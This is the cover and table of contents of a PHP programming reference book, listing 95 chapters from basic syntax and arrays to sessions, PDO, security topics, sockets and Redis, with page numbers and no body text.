PHP

Complete

PHP
Complete Tips & Secrets for Professionals

Tips & Secrets

for Professionals

300+ pages
of professional hints and tricks

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Contents
About ................................................................................................................................................................................... 1
Chapter 1: Getting started with PHP ................................................................................................................... 2
Section 1.1: HTML output from web server .................................................................................................................. 2
Section 1.2: Hello, World! ............................................................................................................................................... 3
Section 1.3: Non-HTML output from web server ........................................................................................................ 3
Section 1.4: PHP built-in server ..................................................................................................................................... 4
Section 1.5: PHP CLI ....................................................................................................................................................... 5
Section 1.6: Instruction Separation ............................................................................................................................... 6
Section 1.7: PHP Tags .................................................................................................................................................... 7
Chapter 2: Variables .................................................................................................................................................... 7
Section 2.1: Accessing A Variable Dynamically By Name (Variable variables) ...................................................... 8
Section 2.2: Data Types ................................................................................................................................................ 9
Section 2.3: Global variable best practices ............................................................................................................... 11
Section 2.4: Default values of uninitialized variables .............................................................................................. 13
Section 2.5: Variable Value Truthiness and Identical Operator ............................................................................. 13
Chapter 3: Arrays ........................................................................................................................................................ 15
Section 3.1: Initializing an Array .................................................................................................................................. 16
Section 3.2: Check if key exists .................................................................................................................................. 18
Section 3.3: Validating the array type ....................................................................................................................... 19
Section 3.4: Creating an array of variables .............................................................................................................. 19
Section 3.5: Checking if a value exists in array ........................................................................................................ 19
Section 3.6: ArrayAccess and Iterator Interfaces .................................................................................................... 20
Chapter 4: Functional Programming ............................................................................................................... 23
Section 4.1: Closures .................................................................................................................................................... 23
Section 4.2: Assignment to variables ........................................................................................................................ 24
Section 4.3: Objects as a function ............................................................................................................................. 24
Section 4.4: Using outside variables .......................................................................................................................... 25
Section 4.5: Anonymous function .............................................................................................................................. 25
Section 4.6: Pure functions ......................................................................................................................................... 26
Section 4.7: Common functional methods in PHP ................................................................................................... 26
Section 4.8: Using built-in functions as callbacks .................................................................................................... 27
Section 4.9: Scope ....................................................................................................................................................... 27
Section 4.10: Passing a callback function as a parameter ..................................................................................... 27
Chapter 5: Types ......................................................................................................................................................... 28
Section 5.1: Type Comparison .................................................................................................................................... 28
Section 5.2: Boolean .................................................................................................................................................... 29
Section 5.3: Float ......................................................................................................................................................... 30
Section 5.4: Strings ...................................................................................................................................................... 30
Section 5.5: Callable .................................................................................................................................................... 32
Section 5.6: Resources ................................................................................................................................................ 32
Section 5.7: Type Casting ........................................................................................................................................... 33
Section 5.8: Type Juggling ......................................................................................................................................... 34
Section 5.9: Null ........................................................................................................................................................... 34
Section 5.10: Integers .................................................................................................................................................. 34
Chapter 6: Autoloading Primer ............................................................................................................................ 35
Section 6.1: Autoloading as part of a framework solution ...................................................................................... 35
Section 6.2: Inline class definition, no loading required ........................................................................................... 36
 Section 6.3: Manual class loading with require ........................................................................................................ 36
Section 6.4: Autoloading replaces manual class definition loading ...................................................................... 37
Section 6.5: Autoloading with Composer .................................................................................................................. 37
Chapter 7: Exception Handling and Error Reporting ............................................................................... 38
Section 7.1: Setting error reporting and where to display them ............................................................................. 38
Section 7.2: Logging fatal errors ............................................................................................................................... 38
Chapter 8: Working with Dates and Time ...................................................................................................... 39
Section 8.1: Getting the dierence between two dates / times .............................................................................. 39
Section 8.2: Convert a date into another format ..................................................................................................... 40
Section 8.3: Parse English date descriptions into a Date format ........................................................................... 41
Section 8.4: Using Predefined Constants for Date Format ..................................................................................... 41
Chapter 9: Sending Email ....................................................................................................................................... 42
Section 9.1: Sending Email - The basics, more details, and a full example ........................................................... 42
Section 9.2: Sending HTML Email Using mail() ........................................................................................................ 45
Section 9.3: Sending Email With An Attachment Using mail() ................................................................................ 45
Section 9.4: Sending Plain Text Email Using PHPMailer .......................................................................................... 47
Section 9.5: Sending HTML Email Using PHPMailer ................................................................................................. 48
Section 9.6: Sending Email With An Attachment Using PHPMailer ........................................................................ 48
Section 9.7: Sending Plain Text Email Using Sendgrid ............................................................................................ 49
Section 9.8: Sending Email With An Attachment Using Sendgrid .......................................................................... 49
Chapter 10: Sessions .................................................................................................................................................. 50
Section 10.1: session_start() Options ......................................................................................................................... 50
Section 10.2: Session Locking ..................................................................................................................................... 51
Section 10.3: Manipulating session data ................................................................................................................... 51
Section 10.4: Destroy an entire session ..................................................................................................................... 52
Section 10.5: Safe Session Start With no Errors ........................................................................................................ 52
Section 10.6: Session name ......................................................................................................................................... 53
Chapter 11: Cookies .................................................................................................................................................... 53
Section 11.1: Modifying a Cookie ................................................................................................................................. 54
Section 11.2: Setting a Cookie ..................................................................................................................................... 54
Section 11.3: Checking if a Cookie is Set .................................................................................................................... 55
Section 11.4: Removing a Cookie ................................................................................................................................ 55
Section 11.5: Retrieving a Cookie ................................................................................................................................ 55
Chapter 12: Classes and Objects ......................................................................................................................... 55
Section 12.1: Class Constants ...................................................................................................................................... 56
Section 12.2: Abstract Classes .................................................................................................................................... 58
Section 12.3: Late static binding ................................................................................................................................. 60
Section 12.4: Namespacing and Autoloading ........................................................................................................... 61
Section 12.5: Method and Property Visibility ............................................................................................................. 62
Section 12.6: Interfaces ............................................................................................................................................... 64
Section 12.7: Final Keyword ........................................................................................................................................ 67
Section 12.8: Autoloading ............................................................................................................................................ 68
Section 12.9: Calling a parent constructor when instantiating a child ................................................................... 69
Section 12.10: Dynamic Binding .................................................................................................................................. 70
Section 12.11: $this, self and static plus the singleton ............................................................................................... 71
Section 12.12: Defining a Basic Class ......................................................................................................................... 73
Section 12.13: Anonymous Classes ............................................................................................................................. 75
Chapter 13: Password Hashing Functions ....................................................................................................... 76
Section 13.1: Creating a password hash .................................................................................................................... 76
 Section 13.2: Determine if an existing password hash can be upgraded to a stronger algorithm .................... 77
Section 13.3: Verifying a password against a hash .................................................................................................. 78
Chapter 14: Output Buering .............................................................................................................................. 79
Section 14.1: Basic usage getting content between buers and clearing ............................................................. 79
Section 14.2: Processing the buer via a callback ................................................................................................... 79
Section 14.3: Nested output buers ........................................................................................................................... 80
Section 14.4: Running output buer before any content ........................................................................................ 81
Section 14.5: Stream output to client ......................................................................................................................... 81
Section 14.6: Using Output buer to store contents in a file, useful for reports, invoices etc ............................. 82
Section 14.7: Typical usage and reasons for using ob_start .................................................................................. 82
Section 14.8: Capturing the output buer to re-use later ....................................................................................... 82
Chapter 15: JSON ........................................................................................................................................................ 83
Section 15.1: Decoding a JSON string ........................................................................................................................ 84
Section 15.2: Encoding a JSON string ........................................................................................................................ 86
Section 15.3: Debugging JSON errors ....................................................................................................................... 89
Section 15.4: Using JsonSerializable in an Object .................................................................................................... 90
Section 15.5: Header json and the returned response ............................................................................................. 91
Chapter 16: SOAP Client ........................................................................................................................................... 92
Section 16.1: WSDL Mode ............................................................................................................................................ 92
Section 16.2: Non-WSDL Mode ................................................................................................................................... 92
Section 16.3: Classmaps .............................................................................................................................................. 93
Section 16.4: Tracing SOAP request and response .................................................................................................. 94
Chapter 17: Reflection .............................................................................................................................................. 94
Section 17.1: Feature detection of classes or objects ............................................................................................... 94
Section 17.2: Testing private/protected methods .................................................................................................... 95
Section 17.3: Accessing private and protected member variables ........................................................................ 96
Chapter 18: Using cURL in PHP ............................................................................................................................. 98
Section 18.1: Basic Usage (GET Requests) ................................................................................................................ 98
Section 18.2: POST Requests ...................................................................................................................................... 99
Section 18.3: Using Cookies ........................................................................................................................................ 99
Section 18.4: Using multi_curl to make multiple POST requests .......................................................................... 100
Section 18.5: Sending multi-dimensional data and multiple files with CurlFile in one request .......................... 101
Section 18.6: Creating and sending a request with a custom method ................................................................ 104
Section 18.7: Get and Set custom http headers in php .......................................................................................... 104
Chapter 19: Dependency Injection ................................................................................................................... 105
Section 19.1: Constructor Injection ........................................................................................................................... 105
Section 19.2: Setter Injection ..................................................................................................................................... 106
Section 19.3: Container Injection .............................................................................................................................. 107
Chapter 20: XML ........................................................................................................................................................ 108
Section 20.1: Create a XML using DomDocument ................................................................................................. 108
Section 20.2: Read a XML document with DOMDocument .................................................................................. 109
Section 20.3: Leveraging XML with PHP's SimpleXML Library .............................................................................. 110
Section 20.4: Create an XML file using XMLWriter ................................................................................................ 112
Section 20.5: Read a XML document with SimpleXML .......................................................................................... 113
Chapter 21: Regular Expressions (regexp/PCRE) ..................................................................................... 114
Section 21.1: Global RegExp match .......................................................................................................................... 114
Section 21.2: String matching with regular expressions ........................................................................................ 115
Section 21.3: Split string into array by a regular expression ................................................................................. 116
Section 21.4: String replacing with regular expression .......................................................................................... 116
 Section 21.5: String replace with callback ............................................................................................................... 116
Chapter 22: Traits ..................................................................................................................................................... 117
Section 22.1: What is a Trait? ................................................................................................................................... 117
Section 22.2: Traits to facilitate horizontal code reuse ......................................................................................... 118
Section 22.3: Conflict Resolution ............................................................................................................................. 119
Section 22.4: Implementing a Singleton using Traits ............................................................................................ 120
Section 22.5: Traits to keep classes clean .............................................................................................................. 121
Section 22.6: Multiple Traits Usage ......................................................................................................................... 122
Section 22.7: Changing Method Visibility ................................................................................................................ 122
Chapter 23: Namespaces ...................................................................................................................................... 123
Section 23.1: Declaring namespaces ....................................................................................................................... 123
Section 23.2: Referencing a class or function in a namespace ........................................................................... 124
Section 23.3: Declaring sub-namespaces ............................................................................................................... 125
Section 23.4: What are Namespaces? .................................................................................................................... 125
Chapter 24: Parsing HTML ................................................................................................................................... 125
Section 24.1: Parsing HTML from a string ............................................................................................................... 125
Section 24.2: Using XPath ......................................................................................................................................... 126
Section 24.3: SimpleXML ........................................................................................................................................... 126
Chapter 25: Composer Dependency Manager .......................................................................................... 127
Section 25.1: What is Composer? ............................................................................................................................. 127
Section 25.2: Autoloading with Composer .............................................................................................................. 128
Section 25.3: Dierence between 'composer install' and 'composer update' .................................................... 129
Section 25.4: Composer Available Commands ...................................................................................................... 129
Section 25.5: Benefits of Using Composer ............................................................................................................. 130
Section 25.6: Installation ........................................................................................................................................... 131
Chapter 26: Magic Methods ................................................................................................................................. 131
Section 26.1: __call() and __callStatic() ................................................................................................................. 131
Section 26.2: __get(), __set(), __isset() and __unset() ...................................................................................... 132
Section 26.3: __construct() and __destruct() ....................................................................................................... 134
Section 26.4: __toString() ........................................................................................................................................ 134
Section 26.5: __clone() ............................................................................................................................................. 135
Section 26.6: __invoke() ........................................................................................................................................... 135
Section 26.7: __sleep() and __wakeup() ............................................................................................................... 136
Section 26.8: __debugInfo() .................................................................................................................................... 137
Chapter 27: Alternative Syntax for Control Structures ........................................................................ 137
Section 27.1: Alternative if/else statement ............................................................................................................. 137
Section 27.2: Alternative for statement .................................................................................................................. 137
Section 27.3: Alternative while statement ............................................................................................................... 138
Section 27.4: Alternative foreach statement .......................................................................................................... 138
Section 27.5: Alternative switch statement ............................................................................................................. 138
Chapter 28: File handling ...................................................................................................................................... 139
Section 28.1: Convenience functions ....................................................................................................................... 139
Section 28.2: Deleting files and directories ............................................................................................................ 140
Section 28.3: Getting file information ...................................................................................................................... 141
Section 28.4: Stream-based file IO .......................................................................................................................... 143
Section 28.5: Moving and Copying files and directories ....................................................................................... 144
Section 28.6: Minimize memory usage when dealing with large files ................................................................. 145
Chapter 29: Magic Constants ............................................................................................................................. 146
Section 29.1: Dierence between __FUNCTION__ and __METHOD__ ............................................................ 146
 Section 29.2: Dierence between __CLASS__, get_class() and get_called_class() ....................................... 146
Section 29.3: File & Directory Constants ................................................................................................................. 147
Chapter 30: Type hinting ...................................................................................................................................... 148
Section 30.1: Type hinting classes and interfaces .................................................................................................. 148
Section 30.2: Type hinting scalar types, arrays and callables ............................................................................. 149
Section 30.3: Nullable type hints .............................................................................................................................. 150
Section 30.4: Type hinting generic objects ............................................................................................................. 151
Section 30.5: Type Hinting No Return(Void) .......................................................................................................... 152
Chapter 31: Multi Threading Extension .......................................................................................................... 152
Section 31.1: Getting Started ..................................................................................................................................... 152
Section 31.2: Using Pools and Workers ................................................................................................................... 153
Chapter 32: Filters & Filter Functions ............................................................................................................. 154
Section 32.1: Validating Boolean Values ................................................................................................................. 154
Section 32.2: Validating A Number Is A Float ......................................................................................................... 154
Section 32.3: Validate A MAC Address .................................................................................................................... 155
Section 32.4: Sanitze Email Addresses .................................................................................................................... 156
Section 32.5: Sanitize Integers ................................................................................................................................. 156
Section 32.6: Sanitize URLs ...................................................................................................................................... 157
Section 32.7: Validate Email Address ...................................................................................................................... 157
Section 32.8: Validating A Value Is An Integer ....................................................................................................... 157
Section 32.9: Validating An Integer Falls In A Range ............................................................................................ 158
Section 32.10: Validate a URL .................................................................................................................................. 158
Section 32.11: Sanitize Floats .................................................................................................................................... 160
Section 32.12: Validate IP Addresses ....................................................................................................................... 162
Section 32.13: Sanitize filters ..................................................................................................................................... 163
Chapter 33: Generators ......................................................................................................................................... 163
Section 33.1: The Yield Keyword ............................................................................................................................... 163
Section 33.2: Reading a large file with a generator .............................................................................................. 164
Section 33.3: Why use a generator? ........................................................................................................................ 165
Section 33.4: Using the send()-function to pass values to a generator .............................................................. 165
Chapter 34: Operators .......................................................................................................................................... 166
Section 34.1: Null Coalescing Operator (??) ............................................................................................................ 166
Section 34.2: Spaceship Operator (<=>) .................................................................................................................. 167
Section 34.3: Execution Operator (``) ....................................................................................................................... 168
Section 34.4: Incrementing (++) and Decrementing Operators (--) .................................................................... 168
Section 34.5: Ternary Operator (?:) ......................................................................................................................... 168
Section 34.6: Logical Operators (&&/AND and ||/OR) .......................................................................................... 169
Section 34.7: String Operators (. and .=) ................................................................................................................. 169
Section 34.8: Object and Class Operators .............................................................................................................. 169
Section 34.9: Combined Assignment (+= etc) ......................................................................................................... 171
Section 34.10: Altering operator precedence (with parentheses) ........................................................................ 172
Section 34.11: Basic Assignment (=) ......................................................................................................................... 172
Section 34.12: Association ......................................................................................................................................... 172
Section 34.13: Comparison Operators ..................................................................................................................... 173
Section 34.14: Bitwise Operators .............................................................................................................................. 174
Section 34.15: instanceof (type operator) ............................................................................................................... 176
Chapter 35: Constants ........................................................................................................................................... 178
Section 35.1: Defining constants .............................................................................................................................. 178
Section 35.2: Class Constants .................................................................................................................................. 179
Section 35.3: Checking if constant is defined ......................................................................................................... 179
 Section 35.4: Using constants .................................................................................................................................. 180
Section 35.5: Constant arrays .................................................................................................................................. 181
Chapter 36: UTF-8 .................................................................................................................................................... 181
Section 36.1: Input ...................................................................................................................................................... 181
Section 36.2: Output .................................................................................................................................................. 182
Section 36.3: Data Storage and Access .................................................................................................................. 182
Chapter 37: URLs ...................................................................................................................................................... 183
Section 37.1: Parsing a URL ...................................................................................................................................... 183
Section 37.2: Build an URL-encoded query string from an array ........................................................................ 184
Section 37.3: Redirecting to another URL ............................................................................................................... 184
Chapter 38: Object Serialization ....................................................................................................................... 185
Section 38.1: Serialize / Unserialize .......................................................................................................................... 185
Section 38.2: The Serializable interface .................................................................................................................. 185
Chapter 39: PHPDoc ................................................................................................................................................ 186
Section 39.1: Describing a variable .......................................................................................................................... 186
Section 39.2: Adding metadata to functions .......................................................................................................... 187
Section 39.3: Describing parameters ...................................................................................................................... 187
Section 39.4: Collections ........................................................................................................................................... 188
Section 39.5: Adding metadata to files ................................................................................................................... 190
Section 39.6: Inheriting metadata from parent structures ................................................................................... 190
Chapter 40: Contributing to the PHP Manual ............................................................................................ 190
Section 40.1: Improve the ocial documentation .................................................................................................. 190
Section 40.2: Tips for contributing to the manual ................................................................................................. 191
Chapter 41: String Parsing ................................................................................................................................... 191
Section 41.1: Splitting a string by separators .......................................................................................................... 191
Section 41.2: Substring .............................................................................................................................................. 192
Section 41.3: Searching a substring with strpos ..................................................................................................... 193
Section 41.4: Parsing string using regular expressions .......................................................................................... 194
Chapter 42: Loops .................................................................................................................................................... 195
Section 42.1: continue ................................................................................................................................................ 195
Section 42.2: break ................................................................................................................................................... 196
Section 42.3: foreach ................................................................................................................................................ 197
Section 42.4: do...while .............................................................................................................................................. 198
Section 42.5: for ......................................................................................................................................................... 198
Section 42.6: while ..................................................................................................................................................... 199
Chapter 43: Control Structures ......................................................................................................................... 199
Section 43.1: if else ..................................................................................................................................................... 199
Section 43.2: Alternative syntax for control structures ......................................................................................... 200
Section 43.3: while ..................................................................................................................................................... 200
Section 43.4: do-while ............................................................................................................................................... 200
Section 43.5: goto ...................................................................................................................................................... 200
Section 43.6: declare ................................................................................................................................................. 201
Section 43.7: include & require ................................................................................................................................. 201
Section 43.8: return ................................................................................................................................................... 202
Section 43.9: for ......................................................................................................................................................... 202
Section 43.10: foreach ............................................................................................................................................... 203
Section 43.11: if elseif else ......................................................................................................................................... 203
Section 43.12: if .......................................................................................................................................................... 204
Section 43.13: switch .................................................................................................................................................. 204
Chapter 44: Serialization ..................................................................................................................................... 205
Section 44.1: Serialization of dierent types ........................................................................................................... 205
Section 44.2: Security Issues with unserialize ......................................................................................................... 206
Chapter 45: Closure ................................................................................................................................................ 208
Section 45.1: Basic usage of a closure .................................................................................................................... 208
Section 45.2: Using external variables .................................................................................................................... 209
Section 45.3: Basic closure binding ......................................................................................................................... 209
Section 45.4: Closure binding and scope ................................................................................................................ 210
Section 45.5: Binding a closure for one call ........................................................................................................... 211
Section 45.6: Use closures to implement observer pattern .................................................................................. 212
Chapter 46: Reading Request Data ................................................................................................................ 213
Section 46.1: Reading raw POST data ..................................................................................................................... 213
Section 46.2: Reading POST data ............................................................................................................................ 214
Section 46.3: Reading GET data .............................................................................................................................. 214
Section 46.4: Handling file upload errors ................................................................................................................ 214
Section 46.5: Passing arrays by POST .................................................................................................................... 215
Section 46.6: Uploading files with HTTP PUT ......................................................................................................... 216
Chapter 47: Type juggling and Non-Strict Comparison Issues ........................................................ 217
Section 47.1: What is Type Juggling? ...................................................................................................................... 217
Section 47.2: Reading from a file ............................................................................................................................ 217
Section 47.3: Switch surprises .................................................................................................................................. 218
Section 47.4: Strict typing ......................................................................................................................................... 219
Chapter 48: Security ............................................................................................................................................... 219
Section 48.1: PHP Version Leakage ......................................................................................................................... 220
Section 48.2: Cross-Site Scripting (XSS) .................................................................................................................. 220
Section 48.3: Cross-Site Request Forgery .............................................................................................................. 221
Section 48.4: Command Line Injection .................................................................................................................... 223
Section 48.5: Stripping Tags ..................................................................................................................................... 224
Section 48.6: File Inclusion ........................................................................................................................................ 224
Section 48.7: Error Reporting ................................................................................................................................... 225
Section 48.8: Uploading files .................................................................................................................................... 226
Chapter 49: PHP MySQLi ....................................................................................................................................... 228
Section 49.1: Close connection ................................................................................................................................. 228
Section 49.2: MySQLi connect .................................................................................................................................. 228
Section 49.3: Loop through MySQLi results ............................................................................................................ 229
Section 49.4: Prepared statements in MySQLi ....................................................................................................... 229
Section 49.5: Escaping Strings ................................................................................................................................. 230
Section 49.6: Debugging SQL in MySQLi ................................................................................................................ 230
Section 49.7: MySQLi query ...................................................................................................................................... 231
Section 49.8: How to get data from a prepared statement ................................................................................. 231
Section 49.9: MySQLi Insert ID ................................................................................................................................. 233
Chapter 50: Command Line Interface (CLI) ................................................................................................ 234
Section 50.1: Handling Program Options ................................................................................................................ 234
Section 50.2: Argument Handling ............................................................................................................................ 235
Section 50.3: Input and Output Handling ................................................................................................................ 236
Section 50.4: Return Codes ...................................................................................................................................... 237
Section 50.5: Restrict script execution to command line ...................................................................................... 238
Section 50.6: Behavioural dierences on the command line ............................................................................... 238
Section 50.7: Running your script ............................................................................................................................ 238
 Section 50.8: Edge Cases of getopt() ..................................................................................................................... 239
Section 50.9: Running built-in web server .............................................................................................................. 240
Chapter 51: Localization ........................................................................................................................................ 240
Section 51.1: Localizing strings with gettext() ......................................................................................................... 240
Chapter 52: Debugging .......................................................................................................................................... 241
Section 52.1: Dumping variables .............................................................................................................................. 241
Section 52.2: Displaying errors ................................................................................................................................ 241
Section 52.3: phpinfo() .............................................................................................................................................. 242
Section 52.4: Xdebug ................................................................................................................................................ 242
Section 52.5: Error Reporting (use them both) ...................................................................................................... 243
Section 52.6: phpversion() ........................................................................................................................................ 243
Chapter 53: Superglobal Variables PHP ....................................................................................................... 244
Section 53.1: Suberglobals explained ...................................................................................................................... 244
Section 53.2: PHP5 SuperGlobals ............................................................................................................................. 251
Chapter 54: Unit Testing ...................................................................................................................................... 254
Section 54.1: Testing class rules ............................................................................................................................... 254
Section 54.2: PHPUnit Data Providers ..................................................................................................................... 257
Section 54.3: Test exceptions ................................................................................................................................... 260
Chapter 55: Variable Scope ................................................................................................................................ 261
Section 55.1: Superglobal variables ......................................................................................................................... 261
Section 55.2: Static properties and variables ......................................................................................................... 262
Section 55.3: User-defined global variables ........................................................................................................... 262
Chapter 56: References ......................................................................................................................................... 263
Section 56.1: Assign by Reference ........................................................................................................................... 263
Section 56.2: Return by Reference .......................................................................................................................... 264
Section 56.3: Pass by Reference .............................................................................................................................. 265
Chapter 57: Compilation of Errors and Warnings ................................................................................... 266
Section 57.1: Parse error: syntax error, unexpected T_PAAMAYIM_NEKUDOTAYIM ......................................... 266
Section 57.2: Notice: Undefined index ..................................................................................................................... 266
Section 57.3: Warning: Cannot modify header information - headers already sent ......................................... 267
Chapter 58: Installing a PHP environment on Windows ....................................................................... 267
Section 58.1: Download, Install and use WAMP ...................................................................................................... 267
Section 58.2: Install PHP and use it with IIS ............................................................................................................ 268
Section 58.3: Download and Install XAMPP ............................................................................................................ 269
Chapter 59: Datetime Class ................................................................................................................................ 270
Section 59.1: Create Immutable version of DateTime from Mutable prior PHP 5.6 ........................................... 270
Section 59.2: Add or Subtract Date Intervals ......................................................................................................... 270
Section 59.3: getTimestamp ..................................................................................................................................... 271
Section 59.4: setDate ................................................................................................................................................ 271
Section 59.5: Create DateTime from custom format ............................................................................................ 271
Section 59.6: Printing DateTimes ............................................................................................................................. 271
Chapter 60: Headers Manipulation ................................................................................................................. 272
Section 60.1: Basic Setting of a Header .................................................................................................................. 273
Chapter 61: Performance ...................................................................................................................................... 273
Section 61.1: Profiling with Xdebug ........................................................................................................................... 273
Section 61.2: Memory Usage .................................................................................................................................... 275
Section 61.3: Profiling with XHProf ........................................................................................................................... 276
Chapter 62: Common Errors ............................................................................................................................... 277
 Section 62.1: Call fetch_assoc on boolean ............................................................................................................. 277
Section 62.2: Unexpected $end ............................................................................................................................... 277
Chapter 63: Installing on Linux/Unix Environments ................................................................................ 277
Section 63.1: Command Line Install Using APT for PHP 7 ..................................................................................... 278
Section 63.2: Installing in Enterprise Linux distributions (CentOS, Scientific Linux, etc) ..................................... 278
Chapter 64: Contributing to the PHP Core .................................................................................................. 279
Section 64.1: Setting up a basic development environment ................................................................................. 279
Chapter 65: Coding Conventions ...................................................................................................................... 279
Section 65.1: PHP Tags .............................................................................................................................................. 279
Chapter 66: Using MongoDB ............................................................................................................................... 280
Section 66.1: Connect to MongoDB ......................................................................................................................... 280
Section 66.2: Get multiple documents - find() ........................................................................................................ 280
Section 66.3: Get one document - findOne() .......................................................................................................... 280
Section 66.4: Insert document .................................................................................................................................. 281
Section 66.5: Update a document ........................................................................................................................... 281
Section 66.6: Delete a document ............................................................................................................................. 281
Chapter 67: Asynchronous programming ................................................................................................... 281
Section 67.1: Advantages of Generators ................................................................................................................. 281
Section 67.2: Using Icicle event loop ....................................................................................................................... 282
Section 67.3: Spawning non-blocking processes with proc_open() .................................................................... 282
Section 67.4: Reading serial port with Event and DIO ........................................................................................... 284
Section 67.5: HTTP Client Based on Event Extension ............................................................................................ 286
Section 67.6: HTTP Client Based on Ev Extension .................................................................................................. 288
Section 67.7: Using Amp event loop ........................................................................................................................ 292
Chapter 68: Using SQLSRV .................................................................................................................................. 293
Section 68.1: Retrieving Error Messages ................................................................................................................. 293
Section 68.2: Fetching Query Results ...................................................................................................................... 294
Section 68.3: Creating a Connection ....................................................................................................................... 294
Section 68.4: Making a Simple Query ..................................................................................................................... 295
Section 68.5: Invoking a Stored Procedure ............................................................................................................ 295
Section 68.6: Making a Parameterised Query ........................................................................................................ 295
Chapter 69: Unicode Support in PHP .............................................................................................................. 295
Section 69.1: Converting Unicode characters to “\uxxxx” format using PHP ...................................................... 295
Section 69.2: Converting Unicode characters to their numeric value and/or HTML entities using PHP
............................................................................................................................................................................. 296
Section 69.3: Intl extention for Unicode support .................................................................................................... 298
Chapter 70: Functions ............................................................................................................................................ 298
Section 70.1: Variable-length argument lists .......................................................................................................... 298
Section 70.2: Optional Parameters ......................................................................................................................... 300
Section 70.3: Passing Arguments by Reference .................................................................................................... 300
Section 70.4: Basic Function Usage ........................................................................................................................ 301
Section 70.5: Function Scope ................................................................................................................................... 301
Chapter 71: Create PDF files in PHP ................................................................................................................ 301
Section 71.1: Getting Started with PDFlib ................................................................................................................. 301
Chapter 72: How to Detect Client IP Address ............................................................................................. 302
Section 72.1: Proper use of HTTP_X_FORWARDED_FOR .................................................................................... 302
Chapter 73: YAML in PHP ....................................................................................................................................... 303
Section 73.1: Installing YAML extension ................................................................................................................... 303
Section 73.2: Using YAML to store application configuration ............................................................................... 303
Chapter 74: Image Processing with GD ........................................................................................................ 304
Section 74.1: Image output ....................................................................................................................................... 304
Section 74.2: Creating an image ............................................................................................................................. 306
Section 74.3: Image Cropping and Resizing ........................................................................................................... 306
Chapter 75: Multiprocessing ............................................................................................................................... 309
Section 75.1: Multiprocessing using built-in fork functions .................................................................................... 309
Section 75.2: Creating child process using fork ..................................................................................................... 309
Section 75.3: Inter-Process Communication ........................................................................................................... 310
Chapter 76: SOAP Server ...................................................................................................................................... 310
Section 76.1: Basic SOAP Server ............................................................................................................................... 310
Chapter 77: Machine learning ............................................................................................................................ 311
Section 77.1: Classification using PHP-ML ............................................................................................................... 311
Section 77.2: Regression ........................................................................................................................................... 312
Section 77.3: Clustering ............................................................................................................................................. 314
Chapter 78: Cache .................................................................................................................................................... 315
Section 78.1: Caching using memcache .................................................................................................................. 315
Section 78.2: Cache Using APC Cache .................................................................................................................... 316
Chapter 79: Streams ............................................................................................................................................... 317
Section 79.1: Registering a stream wrapper ........................................................................................................... 317
Chapter 80: Array iteration ................................................................................................................................. 318
Section 80.1: Iterating multiple arrays together ..................................................................................................... 318
Section 80.2: Using an incremental index .............................................................................................................. 319
Section 80.3: Using internal array pointers ............................................................................................................ 320
Section 80.4: Using foreach ..................................................................................................................................... 320
Section 80.5: Using ArrayObject Iterator ................................................................................................................ 322
Chapter 81: Cryptography ................................................................................................................................... 322
Section 81.1: Symmetric Encryption and Decryption of large Files with OpenSSL ............................................. 322
Section 81.2: Symmetric Cipher ................................................................................................................................ 324
Chapter 82: PDO ........................................................................................................................................................ 324
Section 82.1: Preventing SQL injection with Parameterized Queries ................................................................... 325
Section 82.2: Basic PDO Connection and Retrieval ............................................................................................... 326
Section 82.3: Database Transactions with PDO ..................................................................................................... 326
Section 82.4: PDO: connecting to MySQL/MariaDB server .................................................................................. 329
Section 82.5: PDO: Get number of aected rows by a query .............................................................................. 330
Section 82.6: PDO::lastInsertId() ............................................................................................................................... 330
Chapter 83: SQLite3 ................................................................................................................................................. 331
Section 83.1: SQLite3 Quickstart Tutorial ................................................................................................................ 331
Section 83.2: Querying a database ......................................................................................................................... 332
Section 83.3: Retrieving only one result .................................................................................................................. 332
Chapter 84: Sockets ............................................................................................................................................... 333
Section 84.1: TCP client socket ................................................................................................................................. 333
Section 84.2: TCP server socket .............................................................................................................................. 334
Section 84.3: UDP server socket .............................................................................................................................. 334
Section 84.4: Handling socket errors ...................................................................................................................... 335
Chapter 85: Outputting the Value of a Variable ...................................................................................... 335
Section 85.1: echo and print ..................................................................................................................................... 335
Section 85.2: Outputting a structured view of arrays and objects ...................................................................... 336
Section 85.3: String concatenation with echo ........................................................................................................ 338
 Section 85.4: printf vs sprintf ................................................................................................................................... 339
Section 85.5: Outputting large integers .................................................................................................................. 340
Section 85.6: Output a Multidimensional Array with index and value and print into the table ......................... 340
Chapter 86: String formatting ........................................................................................................................... 341
Section 86.1: String interpolation ............................................................................................................................. 341
Section 86.2: Extracting/replacing substrings ....................................................................................................... 342
Chapter 87: Compile PHP Extensions .............................................................................................................. 343
Section 87.1: Compiling on Linux .............................................................................................................................. 343
Chapter 88: mongo-php ........................................................................................................................................ 344
Section 88.1: Everything in between MongoDB and Php ...................................................................................... 344
Chapter 89: Manipulating an Array ................................................................................................................. 346
Section 89.1: Filtering an array ................................................................................................................................ 346
Section 89.2: Removing elements from an array .................................................................................................. 347
Section 89.3: Sorting an Array ................................................................................................................................. 348
Section 89.4: Whitelist only some array keys ........................................................................................................ 352
Section 89.5: Adding element to start of array ...................................................................................................... 353
Section 89.6: Exchange values with keys ................................................................................................................ 353
Section 89.7: Merge two arrays into one array ..................................................................................................... 354
Chapter 90: Executing Upon an Array ........................................................................................................... 354
Section 90.1: Applying a function to each element of an array ........................................................................... 354
Section 90.2: Split array into chunks ....................................................................................................................... 355
Section 90.3: Imploding an array into string .......................................................................................................... 356
Section 90.4: "Destructuring" arrays using list() .................................................................................................... 356
Section 90.5: array_reduce ...................................................................................................................................... 357
Section 90.6: Push a Value on an Array ................................................................................................................. 358
Chapter 91: Processing Multiple Arrays Together ................................................................................... 358
Section 91.1: Array intersection ................................................................................................................................. 358
Section 91.2: Merge or concatenate arrays ............................................................................................................ 359
Section 91.3: Changing a multidimensional array to associative array .............................................................. 360
Section 91.4: Combining two arrays (keys from one, values from another) ...................................................... 360
Chapter 92: SPL data structures ...................................................................................................................... 360
Section 92.1: SplFixedArray ...................................................................................................................................... 360
Chapter 93: Comments .......................................................................................................................................... 364
Section 93.1: Single Line Comments ........................................................................................................................ 364
Section 93.2: Multi Line Comments .......................................................................................................................... 364
Chapter 94: IMAP ...................................................................................................................................................... 364
Section 94.1: Connecting to a mailbox .................................................................................................................... 364
Section 94.2: Install IMAP extension ........................................................................................................................ 365
Section 94.3: List all folders in the mailbox ............................................................................................................. 365
Section 94.4: Finding messages in the mailbox ..................................................................................................... 366
Chapter 95: Using Redis with PHP .................................................................................................................... 367
Section 95.1: Connecting to a Redis instance ......................................................................................................... 367
Section 95.2: Installing PHP Redis on Ubuntu ........................................................................................................ 368
Section 95.3: Executing Redis commands in PHP .................................................................................................. 368
